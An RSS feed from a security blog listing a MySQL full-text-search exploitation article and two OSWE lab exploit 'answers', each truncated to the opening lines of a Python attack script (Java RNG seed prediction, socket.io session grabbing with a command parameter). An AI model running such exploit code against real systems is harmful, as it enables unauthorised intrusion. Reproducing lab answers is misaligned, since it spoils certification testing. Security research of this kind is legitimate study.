<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Exploit Azerbaijan</title>
    <link>https://exploit.az/</link>
    <description>Recent content on Exploit Azerbaijan</description>
    <generator>Hugo</generator>
    <language>en-us</language>
    <lastBuildDate>Sun, 24 Aug 2025 17:25:08 +0400</lastBuildDate>
    <atom:link href="https://exploit.az/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)</title>
      <link>https://exploit.az/posts/wor/</link>
      <pubDate>Sun, 24 Aug 2025 17:25:08 +0400</pubDate>
      <guid>https://exploit.az/posts/wor/</guid>
      <description>&amp;#34;Even a small key can open a big lock&amp;#34; Azerbaijani Proverb&#xD;---[ Index&#xD;1 - Introduction&#xD;2 - Tradition&#xD;2.1 - ReDoS, not the OS&#xD;2.2 - REGEXP, RLIKE and others&#xD;3 - How insecure, secure implementations are?&#xD;4 - Study Case: myBB&#xD;4.1 - Identification&#xD;4.2 - Perfect Match Against Sanitization&#xD;4.3 - Exploiting&#xD;5 - Acknowledgements&#xD;6 - References&#xD;--[ 1 - Introduction&#xD;For years, SQL Injection has been mostly about syntax-breaking payloads.</description>
    </item>
    <item>
      <title>[SPOILER] Answers OSWE Lab Exploit</title>
      <link>https://exploit.az/posts/answers/</link>
      <pubDate>Sat, 16 Aug 2025 17:51:40 +0400</pubDate>
      <guid>https://exploit.az/posts/answers/</guid>
      <description>Replace values to the ones you have and you are good to go!&#xA;import time import requests import base64 import http.cookies from bs4 import BeautifulSoup from concurrent.futures import ThreadPoolExecutor import http.server import threading import random import urllib.parse import re class JavaRandom: def __init__(self, seed): self.seed = (seed ^ 0x5DEECE66D) &amp;amp; ((1 &amp;lt;&amp;lt; 48) - 1) self.multiplier = 0x5DEECE66D self.addend = 0xB self.mask = (1 &amp;lt;&amp;lt; 48) - 1 def next(self, bits): self.</description>
    </item>
    <item>
      <title>[SPOILER] Docedit OSWE Lab Exploit</title>
      <link>https://exploit.az/posts/docedit/</link>
      <pubDate>Sat, 16 Aug 2025 17:51:35 +0400</pubDate>
      <guid>https://exploit.az/posts/docedit/</guid>
      <description>Replace values to the ones you have and you are good to go!&#xA;import random import requests import re import websockets import asyncio def getSid(url): newUrl = url + &amp;#39;/socket.io/?EIO=3&amp;amp;transport=polling&amp;amp;t=PBNk2-7&amp;#39; s = requests.get(newUrl) match = re.search(r&amp;#39;sid&amp;#34;:&amp;#34;(.*?)&amp;#34;,&amp;#34;upgra&amp;#39;, s.text, re.DOTALL) sid = match.group().replace(&amp;#39;sid&amp;#34;:&amp;#34;&amp;#39;, &amp;#39;&amp;#39;).replace(&amp;#39;&amp;#34;,&amp;#34;upgra&amp;#39;,&amp;#39;&amp;#39;).strip() newUrl = url + f&amp;#39;/socket.io/?EIO=3&amp;amp;transport=polling&amp;amp;t=PBNk31Z&amp;amp;sid={sid}&amp;#39; s = requests.get(newUrl) return sid async def register(url, sid, uname, cmd): headers = {&amp;#39;Cookie:&amp;#39; : f&amp;#39;io={sid}&amp;#39;} wsUrl = url.replace(&amp;#39;http://&amp;#39;, &amp;#39;ws://&amp;#39;).replace(&amp;#39;https://&amp;#39;, &amp;#39;wss://&amp;#39;) + f&amp;#39;/socket.io/?EIO=3&amp;amp;transport=websocket&amp;amp;sid={sid}&amp;#39; async with websockets.</description>
    </item>
  </channel>
</rss>
